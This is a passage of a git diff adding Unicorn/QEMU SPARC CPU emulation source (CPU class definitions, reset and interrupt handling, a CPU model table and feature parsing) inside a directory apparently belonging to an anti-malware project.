parent class' reset handler. + * + * A SPARC CPU model. + */ +typedef struct SPARCCPUClass { + /*< private >*/ + CPUClass parent_class; + /*< public >*/ + + DeviceRealize parent_realize; + void (*parent_reset)(CPUState *cpu); +} SPARCCPUClass; + +/** + * SPARCCPU: + * @env: #CPUSPARCState + * + * A SPARC CPU. + */ +typedef struct SPARCCPU { + /*< private >*/ + CPUState parent_obj; + /*< public >*/ + + CPUSPARCState env; +} SPARCCPU; + +static inline SPARCCPU *sparc_env_get_cpu(CPUSPARCState *env) +{ + return container_of(env, SPARCCPU, env); +} + +#define ENV_GET_CPU(e) CPU(sparc_env_get_cpu(e)) + +#define ENV_OFFSET offsetof(SPARCCPU, env) + +void sparc_cpu_do_interrupt(CPUState *cpu); +void sparc_cpu_dump_state(CPUState *cpu, FILE *f, + fprintf_function cpu_fprintf, int flags); +hwaddr sparc_cpu_get_phys_page_debug(CPUState *cpu, vaddr addr); +int sparc_cpu_gdb_read_register(CPUState *cpu, uint8_t *buf, int reg); +int sparc_cpu_gdb_write_register(CPUState *cpu, uint8_t *buf, int reg); +void QEMU_NORETURN sparc_cpu_do_unaligned_access(CPUState *cpu, + vaddr addr, int is_write, + int is_user, uintptr_t retaddr); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu.c new file mode 100644 index 0000000..9c9c5ea --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu.c @@ -0,0 +1,923 @@ +/* + * Sparc CPU init helpers + * + * Copyright (c) 2003-2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "hw/sparc/sparc.h" + +//#define DEBUG_FEATURES + +static int cpu_sparc_find_by_name(sparc_def_t *cpu_def, const char *cpu_model); + +/* CPUClass::reset() */ +static void sparc_cpu_reset(CPUState *s) +{ + SPARCCPU *cpu = SPARC_CPU(s->uc, s); + SPARCCPUClass *scc = SPARC_CPU_GET_CLASS(s->uc, cpu); + CPUSPARCState *env = &cpu->env; + + scc->parent_reset(s); + + memset(env, 0, offsetof(CPUSPARCState, version)); + tlb_flush(s, 1); + env->cwp = 0; +#ifndef TARGET_SPARC64 + env->wim = 1; +#endif + env->regwptr = env->regbase + (env->cwp * 16); + CC_OP = CC_OP_FLAGS; +#if defined(CONFIG_USER_ONLY) +#ifdef TARGET_SPARC64 + env->cleanwin = env->nwindows - 2; + env->cansave = env->nwindows - 2; + env->pstate = PS_RMO | PS_PEF | PS_IE; + env->asi = 0x82; /* Primary no-fault */ +#endif +#else +#if !defined(TARGET_SPARC64) + env->psret = 0; + env->psrs = 1; + env->psrps = 1; +#endif +#ifdef TARGET_SPARC64 + env->pstate = PS_PRIV|PS_RED|PS_PEF|PS_AG; + env->hpstate = cpu_has_hypervisor(env) ? HS_PRIV : 0; + env->tl = env->maxtl; + cpu_tsptr(env)->tt = TT_POWER_ON_RESET; + env->lsu = 0; +#else + env->mmuregs[0] &= ~(MMU_E | MMU_NF); + env->mmuregs[0] |= env->def->mmu_bm; +#endif + env->pc = 0; + env->npc = env->pc + 4; +#endif + env->cache_control = 0; +} + +static bool sparc_cpu_exec_interrupt(CPUState *cs, int interrupt_request) +{ + if (interrupt_request & CPU_INTERRUPT_HARD) { + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + + if (cpu_interrupts_enabled(env) && env->interrupt_index > 0) { + int pil = env->interrupt_index & 0xf; + int type = env->interrupt_index & 0xf0; + + if (type != TT_EXTINT || cpu_pil_allowed(env, pil)) { + cs->exception_index = env->interrupt_index; + sparc_cpu_do_interrupt(cs); + return true; + } + } + } + return false; +} + +static int cpu_sparc_register(struct uc_struct *uc, SPARCCPU *cpu, const char *cpu_model) +{ + CPUClass *cc = CPU_GET_CLASS(uc, cpu); + CPUSPARCState *env = &cpu->env; + char *s = g_strdup(cpu_model); + char *featurestr, *name = strtok(s, ","); + sparc_def_t def1, *def = &def1; + Error *err = NULL; + + if (cpu_sparc_find_by_name(def, name) < 0) { + g_free(s); + return -1; + } + + env->def = g_new0(sparc_def_t, 1); + memcpy(env->def, def, sizeof(*def)); + + featurestr = strtok(NULL, ","); + cc->parse_features(CPU(cpu), featurestr, &err); + g_free(s); + if (err) { + //error_report("%s", error_get_pretty(err)); + error_free(err); + return -1; + } + + env->version = def->iu_version; + env->fsr = def->fpu_version; + env->nwindows = def->nwindows; +#if !defined(TARGET_SPARC64) + env->mmuregs[0] |= def->mmu_version; + cpu_sparc_set_id(env, 0); + env->mxccregs[7] |= def->mxcc_version; +#else + env->mmu_version = def->mmu_version; + env->maxtl = def->maxtl; + env->version |= def->maxtl << 8; + env->version |= def->nwindows - 1; +#endif + return 0; +} + +SPARCCPU *cpu_sparc_init(struct uc_struct *uc, const char *cpu_model) +{ + SPARCCPU *cpu; + + cpu = SPARC_CPU(uc, object_new(uc, TYPE_SPARC_CPU)); + + if (cpu_sparc_register(uc, cpu, cpu_model) < 0) { + object_unref(uc, OBJECT(cpu)); + return NULL; + } + + object_property_set_bool(uc, OBJECT(cpu), true, "realized", NULL); + + return cpu; +} + +void cpu_sparc_set_id(CPUSPARCState *env, unsigned int cpu) +{ +#if !defined(TARGET_SPARC64) + env->mxccregs[7] = ((cpu + 8) & 0xf) << 24; +#endif +} + +static const sparc_def_t sparc_defs[] = { +#ifdef TARGET_SPARC64 + { + "Fujitsu Sparc64", + ((0x04ULL << 48) | (0x02ULL << 32) | (0ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 4, + 4, + }, + { + "Fujitsu Sparc64 III", + ((0x04ULL << 48) | (0x03ULL << 32) | (0ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 5, + 4, + }, + { + "Fujitsu Sparc64 IV", + ((0x04ULL << 48) | (0x04ULL << 32) | (0ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "Fujitsu Sparc64 V", + ((0x04ULL << 48) | (0x05ULL << 32) | (0x51ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "TI UltraSparc I", + ((0x17ULL << 48) | (0x10ULL << 32) | (0x40ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "TI UltraSparc II", + ((0x17ULL << 48) | (0x11ULL << 32) | (0x20ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "TI UltraSparc IIi", + ((0x17ULL << 48) | (0x12ULL << 32) | (0x91ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "TI UltraSparc IIe", + ((0x17ULL << 48) | (0x13ULL << 32) | (0x14ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "Sun UltraSparc III", + ((0x3eULL << 48) | (0x14ULL << 32) | (0x34ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "Sun UltraSparc III Cu", + ((0x3eULL << 48) | (0x15ULL << 32) | (0x41ULL << 24)), + 0x00000000, + mmu_us_3, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "Sun UltraSparc IIIi", + ((0x3eULL << 48) | (0x16ULL << 32) | (0x34ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "Sun UltraSparc IV", + ((0x3eULL << 48) | (0x18ULL << 32) | (0x31ULL << 24)), + 0x00000000, + mmu_us_4, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "Sun UltraSparc IV+", + ((0x3eULL << 48) | (0x19ULL << 32) | (0x22ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES | CPU_FEATURE_CMT, + 8, + 5, + }, + { + "Sun UltraSparc IIIi+", + ((0x3eULL << 48) | (0x22ULL << 32) | (0ULL << 24)), + 0x00000000, + mmu_us_3, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, + { + "Sun UltraSparc T1", + /* defined in sparc_ifu_fdp.v and ctu.h */ + ((0x3eULL << 48) | (0x23ULL << 32) | (0x02ULL << 24)), + 0x00000000, + mmu_sun4v, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES | CPU_FEATURE_HYPV | CPU_FEATURE_CMT + | CPU_FEATURE_GL, + 8, + 6, + }, + { + "Sun UltraSparc T2", + /* defined in tlu_asi_ctl.v and n2_revid_cust.v */ + ((0x3eULL << 48) | (0x24ULL << 32) | (0x02ULL << 24)), + 0x00000000, + mmu_sun4v, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES | CPU_FEATURE_HYPV | CPU_FEATURE_CMT + | CPU_FEATURE_GL, + 8, + 6, + }, + { + "NEC UltraSparc I", + ((0x22ULL << 48) | (0x10ULL << 32) | (0x40ULL << 24)), + 0x00000000, + mmu_us_12, + 0,0,0,0,0,0, + CPU_DEFAULT_FEATURES, + 8, + 5, + }, +#else + { + "Fujitsu MB86904", + 0x04 << 24, /* Impl 0, ver 4 */ + 4 << 17, /* FPU version 4 (Meiko) */ + 0x04 << 24, /* Impl 0, ver 4 */ + 0x00004000, + 0x00ffffc0, + 0x000000ff, + 0x00016fff, + 0x00ffffff, + 0, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "Fujitsu MB86907", + 0x05 << 24, /* Impl 0, ver 5 */ + 4 << 17, /* FPU version 4 (Meiko) */ + 0x05 << 24, /* Impl 0, ver 5 */ + 0x00004000, + 0xffffffc0, + 0x000000ff, + 0x00016fff, + 0xffffffff, + 0, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "TI MicroSparc I", + 0x41000000, + 4 << 17, + 0x41000000, + 0x00004000, + 0x007ffff0, + 0x0000003f, + 0x00016fff, + 0x0000003f, + 0, + CPU_FEATURE_FLOAT | CPU_FEATURE_SWAP | CPU_FEATURE_MUL | + CPU_FEATURE_DIV | CPU_FEATURE_FLUSH | CPU_FEATURE_FSQRT | + CPU_FEATURE_FMUL, + 7, + 0, + }, + { + "TI MicroSparc II", + 0x42000000, + 4 << 17, + 0x02000000, + 0x00004000, + 0x00ffffc0, + 0x000000ff, + 0x00016fff, + 0x00ffffff, + 0, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "TI MicroSparc IIep", + 0x42000000, + 4 << 17, + 0x04000000, + 0x00004000, + 0x00ffffc0, + 0x000000ff, + 0x00016bff, + 0x00ffffff, + 0, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "TI SuperSparc 40", /* STP1020NPGA */ + 0x41000000, /* SuperSPARC 2.x */ + 0 << 17, + 0x00000800, /* SuperSPARC 2.x, no MXCC */ + 0x00002000, + 0xffffffc0, + 0x0000ffff, + 0xffffffff, + 0xffffffff, + 0, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "TI SuperSparc 50", /* STP1020PGA */ + 0x40000000, /* SuperSPARC 3.x */ + 0 << 17, + 0x01000800, /* SuperSPARC 3.x, no MXCC */ + 0x00002000, + 0xffffffc0, + 0x0000ffff, + 0xffffffff, + 0xffffffff, + 0, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "TI SuperSparc 51", + 0x40000000, /* SuperSPARC 3.x */ + 0 << 17, + 0x01000000, /* SuperSPARC 3.x, MXCC */ + 0x00002000, + 0xffffffc0, + 0x0000ffff, + 0xffffffff, + 0xffffffff, + 0x00000104, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "TI SuperSparc 60", /* STP1020APGA */ + 0x40000000, /* SuperSPARC 3.x */ + 0 << 17, + 0x01000800, /* SuperSPARC 3.x, no MXCC */ + 0x00002000, + 0xffffffc0, + 0x0000ffff, + 0xffffffff, + 0xffffffff, + 0, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "TI SuperSparc 61", + 0x44000000, /* SuperSPARC 3.x */ + 0 << 17, + 0x01000000, /* SuperSPARC 3.x, MXCC */ + 0x00002000, + 0xffffffc0, + 0x0000ffff, + 0xffffffff, + 0xffffffff, + 0x00000104, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "TI SuperSparc II", + 0x40000000, /* SuperSPARC II 1.x */ + 0 << 17, + 0x08000000, /* SuperSPARC II 1.x, MXCC */ + 0x00002000, + 0xffffffc0, + 0x0000ffff, + 0xffffffff, + 0xffffffff, + 0x00000104, + CPU_DEFAULT_FEATURES, + 8, + 0, + }, + { + "LEON2", + 0xf2000000, + 4 << 17, /* FPU version 4 (Meiko) */ + 0xf2000000, + 0x00004000, + 0x007ffff0, + 0x0000003f, + 0xffffffff, + 0xffffffff, + 0, + CPU_DEFAULT_FEATURES | CPU_FEATURE_TA0_SHUTDOWN, + 8, + 0, + }, + { + "LEON3", + 0xf3000000, + 4 << 17, /* FPU version 4 (Meiko) */ + 0xf3000000, + 0x00000000, + 0xfffffffc, + 0x000000ff, + 0xffffffff, + 0xffffffff, + 0, + CPU_DEFAULT_FEATURES | CPU_FEATURE_TA0_SHUTDOWN | + CPU_FEATURE_ASR17 | CPU_FEATURE_CACHE_CTRL | CPU_FEATURE_POWERDOWN | + CPU_FEATURE_CASA, + 8, + 0, + }, +#endif +}; + +static const char * const feature_name[] = { + "float", + "float128", + "swap", + "mul", + "div", + "flush", + "fsqrt", + "fmul", + "vis1", + "vis2", + "fsmuld", + "hypv", + "cmt", + "gl", +}; + +#if 0 +static void print_features(FILE *f, fprintf_function cpu_fprintf, + uint32_t features, const char *prefix) +{ + unsigned int i; + + for (i = 0; i < ARRAY_SIZE(feature_name); i++) { + if (feature_name[i] && (features & (1 << i))) { + if (prefix) { + (*cpu_fprintf)(f, "%s", prefix); + } + (*cpu_fprintf)(f, "%s ", feature_name[i]); + } + } +} +#endif + +static void add_flagname_to_bitmaps(const char *flagname, uint32_t *features) +{ + unsigned int i; + + for (i = 0; i < ARRAY_SIZE(feature_name); i++) { + if (feature_name[i] && !strcmp(flagname, feature_name[i])) { + *features |= 1 << i; + return; + } + } + //error_report("CPU feature %s not found", flagname); +} + +static int cpu_sparc_find_by_name(sparc_def_t *cpu_def, const char *name) +{ + unsigned int i; + const sparc_def_t *def = NULL; + + for (i = 0; i < ARRAY_SIZE(sparc_defs); i++) { + if (strcasecmp(name, sparc_defs[i].name) == 0) { + def = &sparc_defs[i]; + } + } + if (!def) { + return -1; + } + memcpy(cpu_def, def, sizeof(*def)); + return 0; +} + +static void sparc_cpu_parse_features(CPUState *cs, char *features, + Error **errp) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + sparc_def_t *cpu_def = cpu->env.def; + char *featurestr; + uint32_t plus_features = 0; + uint32_t minus_features = 0; + uint64_t iu_version; + uint32_t fpu_version, mmu_version, nwindows; + + featurestr = features ? strtok(features, ",") : NULL; + while (featurestr) { + char *val; + + if (featurestr[0] == '+') { + add_flagname_to_bitmaps(featurestr + 1, &plus_features); + } else if (featurestr[0] == '-') { + add_flagname_to_bitmaps(featurestr + 1, &minus_features); + } else if ((val = strchr(featurestr, '='))) { + *val = 0; val++; + if (!strcmp(featurestr, "iu_version")) { + char *err; + + iu_version = strtoll(val, &err, 0); + if (!*val || *err) { + error_setg(errp, "bad numerical value %s", val); + return; + } + cpu_def->iu_version = iu_version; +#ifdef DEBUG_FEATURES + fprintf(stderr, "iu_version %" PRIx64 "\n", iu_version); +#endif + } else if (!strcmp(featurestr, "fpu_version")) { + char *err; + + fpu_version = strtol(val, &err, 0); + if (!*val || *err) { + error_setg(errp, "bad numerical value %s", val); + return; + } + cpu_def->fpu_version = fpu_version; +#ifdef DEBUG_FEATURES + fprintf(stderr, "fpu_version %x\n", fpu_version); +#endif + } else if (!strcmp(featurestr, "mmu_version")) { + char *err; + + mmu_version = strtol(val, &err, 0); + if (!*val || *err) { + error_setg(errp, "bad numerical value %s", val); + return; + } + cpu_def->mmu_version = mmu_version; +#ifdef DEBUG_FEATURES + fprintf(stderr, "mmu_version %x\n", mmu_version); +#endif + } else if (!strcmp(featurestr, "nwindows")) { + char *err; + + nwindows = strtol(val, &err, 0); + if (!*val || *err || nwindows > MAX_NWINDOWS || + nwindows < MIN_NWINDOWS) { + error_setg(errp, "bad numerical value %s", val); + return; + } + cpu_def->nwindows = nwindows; +#ifdef DEBUG_FEATURES + fprintf(stderr, "nwindows %d\n", nwindows); +#endif + } else { + error_setg(errp, "unrecognized feature %s", featurestr); + return; + } + } else { + error_setg(errp, "feature string `%s' not in format " + "(+feature|-feature|feature=xyz)", featurestr); + return; + } + featurestr = strtok(NULL, ","); + } + cpu_def->features |= plus_features; + cpu_def->features &= ~minus_features; +#ifdef DEBUG_FEATURES + print_features(stderr, fprintf, cpu_def->features, NULL); +#endif +} + +#if 0 +void sparc_cpu_list(FILE *f, fprintf_function cpu_fprintf) +{ + unsigned int i; + + for (i = 0; i < ARRAY_SIZE(sparc_defs); i++) { + (*cpu_fprintf)(f, "Sparc %16s IU " TARGET_FMT_lx + " FPU %08x MMU %08x NWINS %d ", + sparc_defs[i].name, + sparc_defs[i].iu_version, + sparc_defs[i].fpu_version, + sparc_defs[i].mmu_version, + sparc_defs[i].nwindows); + print_features(f, cpu_fprintf, CPU_DEFAULT_FEATURES & + ~sparc_defs[i].features, "-"); + print_features(f, cpu_fprintf, ~CPU_DEFAULT_FEATURES & + sparc_defs[i].features, "+"); + (*cpu_fprintf)(f, "\n"); + } + (*cpu_fprintf)(f, "Default CPU feature flags (use '-' to remove): "); + print_features(f, cpu_fprintf, CPU_DEFAULT_FEATURES, NULL); + (*cpu_fprintf)(f, "\n"); + (*cpu_fprintf)(f, "Available CPU feature flags (use '+' to add): "); + print_features(f, cpu_fprintf, ~CPU_DEFAULT_FEATURES, NULL); + (*cpu_fprintf)(f, "\n"); + (*cpu_fprintf)(f, "Numerical features (use '=' to set): iu_version " + "fpu_version mmu_version nwindows\n"); +} + +static void cpu_print_cc(FILE *f, fprintf_function cpu_fprintf, + uint32_t cc) +{ + cpu_fprintf(f, "%c%c%c%c", cc & PSR_NEG ? 'N' : '-', + cc & PSR_ZERO ? 'Z' : '-', cc & PSR_OVF ? 'V' : '-', + cc & PSR_CARRY ? 'C' : '-'); +} + +#ifdef TARGET_SPARC64 +#define REGS_PER_LINE 4 +#else +#define REGS_PER_LINE 8 +#endif + +void sparc_cpu_dump_state(CPUState *cs, FILE *f, fprintf_function cpu_fprintf, + int flags) +{ + SPARCCPU *cpu = SPARC_CPU(cs); + CPUSPARCState *env = &cpu->env; + int i, x; + + cpu_fprintf(f, "pc: " TARGET_FMT_lx " npc: " TARGET_FMT_lx "\n", env->pc, + env->npc); + + for (i = 0; i < 8; i++) { + if (i % REGS_PER_LINE == 0) { + cpu_fprintf(f, "%%g%d-%d:", i, i + REGS_PER_LINE - 1); + } + cpu_fprintf(f, " " TARGET_FMT_lx, env->gregs[i]); + if (i % REGS_PER_LINE == REGS_PER_LINE - 1) { + cpu_fprintf(f, "\n"); + } + } + for (x = 0; x < 3; x++) { + for (i = 0; i < 8; i++) { + if (i % REGS_PER_LINE == 0) { + cpu_fprintf(f, "%%%c%d-%d: ", + x == 0 ? 'o' : (x == 1 ? 'l' : 'i'), + i, i + REGS_PER_LINE - 1); + } + cpu_fprintf(f, TARGET_FMT_lx " ", env->regwptr[i + x * 8]); + if (i % REGS_PER_LINE == REGS_PER_LINE - 1) { + cpu_fprintf(f, "\n"); + } + } + } + + for (i = 0; i < TARGET_DPREGS; i++) { + if ((i & 3) == 0) { + cpu_fprintf(f, "%%f%02d: ", i * 2); + } + cpu_fprintf(f, " %016" PRIx64, env->fpr[i].ll); + if ((i & 3) == 3) { + cpu_fprintf(f, "\n"); + } + } +#ifdef TARGET_SPARC64 + cpu_fprintf(f, "pstate: %08x ccr: %02x (icc: ", env->pstate, + (unsigned)cpu_get_ccr(env)); + cpu_print_cc(f, cpu_fprintf, cpu_get_ccr(env) << PSR_CARRY_SHIFT); + cpu_fprintf(f, " xcc: "); + cpu_print_cc(f, cpu_fprintf, cpu_get_ccr(env) << (PSR_CARRY_SHIFT - 4)); + cpu_fprintf(f, ") asi: %02x tl: %d pil: %x\n", env->asi, env->tl, + env->psrpil); + cpu_fprintf(f, "cansave: %d canrestore: %d otherwin: %d wstate: %d " + "cleanwin: %d cwp: %d\n", + env->cansave, env->canrestore, env->otherwin, env->wstate, + env->cleanwin, env->nwindows - 1 - env->cwp); + cpu_fprintf(f, "fsr: " TARGET_FMT_lx " y: " TARGET_FMT_lx " fprs: " + TARGET_FMT_lx "\n", env->fsr, env->y, env->fprs); +#else + cpu_fprintf(f, "psr: %08x (icc: ", cpu_get_psr(env)); + cpu_print_cc(f, cpu_fprintf, cpu_get_psr(env)); + cpu_fprintf(f, " SPE: %c%c%c) wim: %08x\n", env->psrs ? 'S' : '-', + env->psrps ? 'P' : '-', env->psret ? 'E' : '-', + env->wim); + cpu_fprintf(f, "fsr: " TARGET_FMT_lx " y: " TARGET_FMT_lx "\n", + env->fsr, env->y); +#endif + cpu_fprintf(f, "\n"); +} +#endif + +static void sparc_cpu_set_pc(CPUState *cs, vaddr value) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + + cpu->env.pc = value; + cpu->env.npc = value + 4; +} + +static void sparc_cpu_synchronize_from_tb(CPUState *cs, TranslationBlock *tb) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + + cpu->env.pc = tb->pc; + cpu->env.npc = tb->cs_base; +} + +static bool sparc_cpu_has_work(CPUState *cs) +{ + SPARCCPU *cpu = SPARC_CPU(cs->uc, cs); + CPUSPARCState *env = &cpu->env; + + return (cs->interrupt_request & CPU_INTERRUPT_HARD) && + cpu_interrupts_enabled(env); +} + +static int sparc_cpu_realizefn(struct uc_struct *uc, DeviceState *dev, Error **errp) +{ + SPARCCPUClass *scc = SPARC_CPU_GET_CLASS(uc, dev); +#if defined(CONFIG_USER_ONLY) + SPARCCPU *cpu = SPARC_CPU(uc, dev); + CPUSPARCState *env = &cpu->env; + + if ((env->def->features & CPU_FEATURE_FLOAT)) { + env->def->features |= CPU_FEATURE_FLOAT128; + } +#endif + + qemu_init_vcpu(CPU(dev)); + + scc->parent_realize(uc, dev, errp); + + return 0; +} + +static void sparc_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + CPUState *cs = CPU(obj); + SPARCCPU *cpu = SPARC_CPU(uc, obj); + CPUSPARCState *env = &cpu->env; + + cs->env_ptr = env; + cpu_exec_init(env, opaque); + + if (tcg_enabled(uc)) { + gen_intermediate_code_init(env); + } +} + +static void sparc_cpu_uninitfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + SPARCCPU *cpu = SPARC_CPU(uc, obj); + CPUSPARCState *env = &cpu->env; + + g_free(env->def); +} + +static void sparc_cpu_class_init(struct uc_struct *uc, ObjectClass *oc, void *data) +{ + SPARCCPUClass *scc = SPARC_CPU_CLASS(uc, oc); + CPUClass *cc = CPU_CLASS(uc, oc); + DeviceClass *dc = DEVICE_CLASS(uc, oc); + + scc->parent_realize = dc->realize; + dc->realize = sparc_cpu_realizefn; + + scc->parent_reset = cc->reset; + cc->reset = sparc_cpu_reset; + + cc->parse_features = sparc_cpu_parse_features; + cc->has_work = sparc_cpu_has_work; + cc->do_interrupt = sparc_cpu_do_interrupt; + cc->cpu_exec_interrupt = sparc_cpu_exec_interrupt; + //cc->dump_state = sparc_cpu_dump_state; +#if !defined(TARGET_SPARC64) && !defined(CONFIG_USER_ONLY) + cc->memory_rw_debug = sparc_cpu_memory_rw_debug; +#endif + cc->set_pc = sparc_cpu_set_pc; + cc->synchronize_from_tb = sparc_cpu_synchronize_from_tb; +#ifdef CONFIG_USER_ONLY + cc->handle_mmu_fault = sparc_cpu_handle_mmu_fault; +#else + cc->do_unassigned_access = sparc_cpu_unassigned_access; + cc->do_unaligned_access = sparc_cpu_do_unaligned_access; + cc->get_phys_page_debug = sparc_cpu_get_phys_page_debug; +#endif +} + +void sparc_cpu_register_types(void *opaque) +{ + const TypeInfo sparc_cpu_type_info = { + TYPE_SPARC_CPU, + TYPE_CPU, + + sizeof(SPARCCPUClass), + sizeof(SPARCCPU), + opaque, + + sparc_cpu_initfn, + NULL, + sparc_cpu_uninitfn, + + NULL, + + sparc_cpu_class_init, + NULL, + NULL, + + false, + }; + + //printf(">>> sparc_cpu_register_types\n"); + type_register_static(opaque, &sparc_cpu_type_info); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu.h new file mode 100644 index 0000000..2f8ed15 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-sparc/cpu.h @@ -0,0 +1,759 @@ +#ifndef CPU_SPARC_H +#define CPU_SPARC_H + +#include "config.h" +#include "qemu-common.h" +#include "qemu/bswap.h" + +#define ALIGNED_ONLY + +#if !defined(TARGET_SPARC64) +#define TARGET_LONG_BITS 32 +#define TARGET_DPREGS 16 +#define TARGET_PAGE_BITS 12 /* 4k */ +#define TARGET_PHYS_ADDR_SPACE_BITS 36 +#define TARGET_VIRT_ADDR_SPACE_BITS 32 +#else +#define TARGET_LONG_BITS 64 +#define TARGET_DPREGS 32 +#define TARGET_PAGE_BITS 13 /* 8k */ +#define TARGET_PHYS_ADDR_SPACE_BITS 41 +# ifdef TARGET_ABI32 +# define TARGET_VIRT_ADDR_SPACE_BITS 32 +# else +# define TARGET_VIRT_ADDR_SPACE_BITS 44 +# endif +#endif + +#define CPUArchState struct CPUSPARCState + +#include "exec/cpu-defs.h" + +#include "fpu/softfloat.h" + +#define TARGET_HAS_ICE 1 + +#if !defined(TARGET_SPARC64) +#define ELF_MACHINE EM_SPARC +#else +#define ELF_MACHINE EM_SPARCV9 +#endif + +/*#define EXCP_INTERRUPT 0x100*/ + +/* trap definitions */ +#ifndef TARGET_SPARC64 +#define TT_TFAULT 0x01 +#define TT_ILL_INSN 0x02 +#define TT_PRIV_INSN 0x03 +#define TT_NFPU_INSN 0x04 +#define TT_WIN_OVF 0x05 +#define TT_WIN_UNF 0x06 +#define TT_UNALIGNED 0x07 +#define TT_FP_EXCP 0x08 +#define TT_DFAULT 0x09 +#define TT_TOVF 0x0a +#define TT_EXTINT 0x10 +#define TT_CODE_ACCESS 0x21 +#define TT_UNIMP_FLUSH 0x25 +#define TT_DATA_ACCESS 0x29 +#define TT_DIV_ZERO 0x2a +#define TT_NCP_INSN 0x24 +#define TT_TRAP 0x80 +#else +#define TT_POWER_ON_RESET 0x01 +#define TT_TFAULT 0x08 +#define TT_CODE_ACCESS 0x0a +#define TT_ILL_INSN 0x10 +#define TT_UNIMP_FLUSH TT_ILL_INSN +#define TT_PRIV_INSN 0x11 +#define TT_NFPU_INSN 0x20 +#define TT_FP_EXCP 0x21 +#define TT_TOVF 0x23 +#define TT_CLRWIN 0x24 +#define TT_DIV_ZERO 0x28 +#define TT_DFAULT 0x30 +#define TT_DATA_ACCESS 0x32 +#define TT_UNALIGNED 0x34 +#define TT_PRIV_ACT 0x37 +#define TT_EXTINT 0x40 +#define TT_IVEC 0x60 +#define TT_TMISS 0x64 +#define TT_DMISS 0x68 +#define TT_DPROT 0x6c +#define TT_SPILL 0x80 +#define TT_FILL 0xc0 +#define TT_WOTHER (1 << 5) +#define TT_TRAP 0x100 +#endif + +#define PSR_NEG_SHIFT 23 +#define PSR_NEG (1 << PSR_NEG_SHIFT) +#define PSR_ZERO_SHIFT 22 +#define PSR_ZERO (1 << PSR_ZERO_SHIFT) +#define PSR_OVF_SHIFT 21 +#define PSR_OVF (1 << PSR_OVF_SHIFT) +#define PSR_CARRY_SHIFT 20 +#define PSR_CARRY (1 << PSR_CARRY_SHIFT) +#define PSR_ICC (PSR_NEG|PSR_ZERO|PSR_OVF|PSR_CARRY) +#if !defined(TARGET_SPARC64) +#define PSR_EF (1<<12) +#define PSR_PIL 0xf00 +#define PSR_S (1<<7) +#define PSR_PS (1<<6) +#define PSR_ET (1<<5) +#define PSR_CWP 0x1f +#endif + +#define CC_SRC (env->cc_src) +#define CC_SRC2 (env->cc_src2) +#define CC_DST (env->cc_dst) +#define CC_OP (env->cc_op) + +enum { + CC_OP_DYNAMIC, /* must use dynamic code to get cc_op */ + CC_OP_FLAGS, /* all cc are back in status register */ + CC_OP_DIV, /* modify N, Z and V, C = 0*/ + CC_OP_ADD, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_ADDX, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_TADD, /* modify all flags, CC_DST = res, CC_SRC = src1 */ + CC_OP_TADDTV, /* modify all flags except V, CC_DST = res, CC_SRC = src1 */ + 